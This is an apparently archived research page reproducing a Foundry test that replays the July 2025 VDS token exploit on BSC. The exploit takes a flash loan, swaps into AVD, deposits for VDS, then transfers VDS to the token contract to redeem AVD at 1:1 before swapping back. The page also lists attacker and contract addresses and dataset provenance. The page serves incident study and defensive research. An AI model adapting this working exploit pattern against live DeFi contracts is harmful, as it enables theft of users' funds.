Public reproduction file
src/test/2025-07/VDS_exp.sol
Public reproduction file for dataset entry VDS.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 13k USD8// Attacker : https://bscscan.com/address/0xa3e18e6028b1ca09433157cd6a5e807ffe7053509// Attack Contract : https://bscscan.com/address/0x383794a0c68e5c8c050f8f361b26a22b3f60eccf10// Vulnerable Contract : https://bscscan.com/address/0x6ce69d7146dbaae18c11c36d8d94428623b29d5a11// Attack Tx : https://bscscan.com/tx/0x0e01fd8798f970fd689014cb215e622aca8b7c8c243176c5b504e0043402e31f13// @Info14// Vulnerable Contract Code : https://bscscan.com/address/0x6ce69d7146dbaae18c11c36d8d94428623b29d5a#code16// @Analysis17// Post-mortem : N/A18// Twitter Guy : https://x.com/SlowMist_Team/status/194567219247130264519// Hacking God : N/A20pragma solidity ^0.8.0;22address constant BSC_USD = 0x55d398326f99059fF775485246999027B3197955;23address constant MOOLAH = 0x8F73b65B4caAf64FBA2aF91cC5D4a2A1318E5D8C;24address constant PANCAKE_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;25address constant AVD_TOKEN = 0x4Ec93ee81f25dA3C8e49F01533cfB734545190A8;26address constant VDS_TOKEN = 0x6ce69d7146dbaae18c11c36d8D94428623B29D5A;28contract VDS is BaseTestWithBalanceLog {29 uint256 blocknumToForkFrom = 54252254 - 1;31 function setUp() public {32 vm.createSelectFork("bsc", blocknumToForkFrom);33 fundingToken = BSC_USD;34 }36 function testExploit() public balanceLog {37 // Step 1: Flash loan 20k BSC_USD from Moolah38 IERC20(BSC_USD).approve(MOOLAH, type(uint256).max);39 IMoolah(MOOLAH).flashLoan(BSC_USD, 20_000 ether, "");40 }42 function onMoolahFlashLoan(uint256 assets, bytes calldata userData) public {43 IERC20 bscUsd = IERC20(BSC_USD);44 IERC20 avd = IERC20(AVD_TOKEN);45 IERC20 vds = IERC20(VDS_TOKEN);47 IPancakeRouter router = IPancakeRouter(payable(PANCAKE_ROUTER));49 bscUsd.approve(PANCAKE_ROUTER, 20_000 ether);50 address[] memory path = new address[](2);51 path[0] = BSC_USD;52 path[1] = AVD_TOKEN;53 // Step 2: BSC_USD -> AVD via PancakeSwap54 router.swapExactTokensForTokensSupportingFeeOnTransferTokens(assets, 0, path, address(this), block.timestamp);56 uint256 avdBalance = avd.balanceOf(address(this));57 avd.approve(VDS_TOKEN, avdBalance);59 // Step 3: deposit AVD for VDS60 IVDS(VDS_TOKEN).deposit(VDS_TOKEN, avdBalance);62 // Step 4: Burn VDS to get AVD back63 // Root cause: Sending VDS to its contract address returns AVD at a 1:1 ratio64 uint256 amount = 168205391822;65 vds.transfer(VDS_TOKEN, amount);67 avdBalance = avd.balanceOf(address(this));68 avd.approve(PANCAKE_ROUTER, avdBalance);69 path[0] = AVD_TOKEN;70 path[1] = BSC_USD;71 // Step 5: AVD -> BSC_USD via PancakeSwap72 router.swapExactTokensForTokensSupportingFeeOnTransferTokens(avdBalance, 0, path, address(this), block.timestamp);73 }74}76interface IMoolah {77 function flashLoan(address token, uint256 assets, bytes calldata data) external;78}80interface IVDS {81 function deposit(address token, uint256 amount) external;82}Analysis
Dataset entry
Public Foundry test for “VDS” (2025-07-16). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
23 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-07/ActivePoolScrvUsdUrgentRedemption_exp.solSame month in the dataset · 200 lines
- src/test/2025-07/ActivePoolUrgentRedemption_exp.solSame month in the dataset · 194 lines
- src/test/2025-07/AnyswapWETHPermit_exp.solSame month in the dataset · 127 lines
- src/test/2025-07/AvaxBIFKNPair_exp.solSame month in the dataset · 213 lines
- src/test/2025-07/BoJLeverageMarket_exp.solSame month in the dataset · 193 lines
- src/test/2025-07/EmptySetReserve_exp.solSame month in the dataset · 196 lines
- src/test/2025-07/FPC_exp.solSame month in the dataset · 83 lines
- src/test/2025-07/gmx_exp.solSame month in the dataset · 427 lines
- src/test/2025-07/MulticallWithETH_exp.solSame month in the dataset · 52 lines
- src/test/2025-07/RANTToken_exp.solSame month in the dataset · 108 lines
- src/test/2025-07/Stepp2p_exp.solSame month in the dataset · 59 lines
- src/test/2025-07/StrategyLlamaLendConvex_exp.solSame month in the dataset · 104 lines
- src/test/2025-07/SuperRare_exp.solSame month in the dataset · 80 lines
- src/test/2025-07/SWAPPStaking_exp.solSame month in the dataset · 197 lines
- src/test/2025-07/unverified_8fd3_exp.solSame month in the dataset · 105 lines
- src/test/2025-07/unverified_54cd_exp.solSame month in the dataset · 77 lines
- src/test/2025-07/Unverified670471_exp.solSame month in the dataset · 160 lines
- src/test/2025-07/Unverified6883_exp.solSame month in the dataset · 224 lines
- src/test/2025-07/UPENGBurnSync_exp.solSame month in the dataset · 115 lines
- src/test/2025-07/WETC_Token_exp.solSame month in the dataset · 78 lines
- src/test/2025-07/WhereIsMyDragonTreasure_exp.solSame month in the dataset · 137 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xa3e18e6028b1ca09433157cd6a5e807ffe705350
- Attack Contract
0x383794a0c68e5c8c050f8f361b26a22b3f60eccf
- Vulnerable Contract
0x6ce69d7146dbaae18c11c36d8d94428623b29d5a
- Attack Tx
0x0e01fd8798f970fd689014cb215e622aca8b7c8c243176c5b504e0043402e31f
- Twitter: https://x.com/SlowMist_Team/status/1945672192471302645
- Explorer: https://bscscan.com/address/0xa3e18e6028b1ca09433157cd6a5e807ffe705350
- Explorer: https://bscscan.com/address/0x383794a0c68e5c8c050f8f361b26a22b3f60eccf
- Explorer: https://bscscan.com/address/0x6ce69d7146dbaae18c11c36d8d94428623b29d5a
- Explorer: https://bscscan.com/address/0x6ce69d7146dbaae18c11c36d8d94428623b29d5a#code
File record
- Name
- VDS
- Path
- src/test/2025-07/VDS_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 1ba4a824557cc29777cb2f49c545463d08b44eae
- Language
- Solidity
- Size
- 82 lines
- Date
- 2025-07-16
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-07/VDS_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 1ba4a824557cc29777cb2f49c545463d08b44eae, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.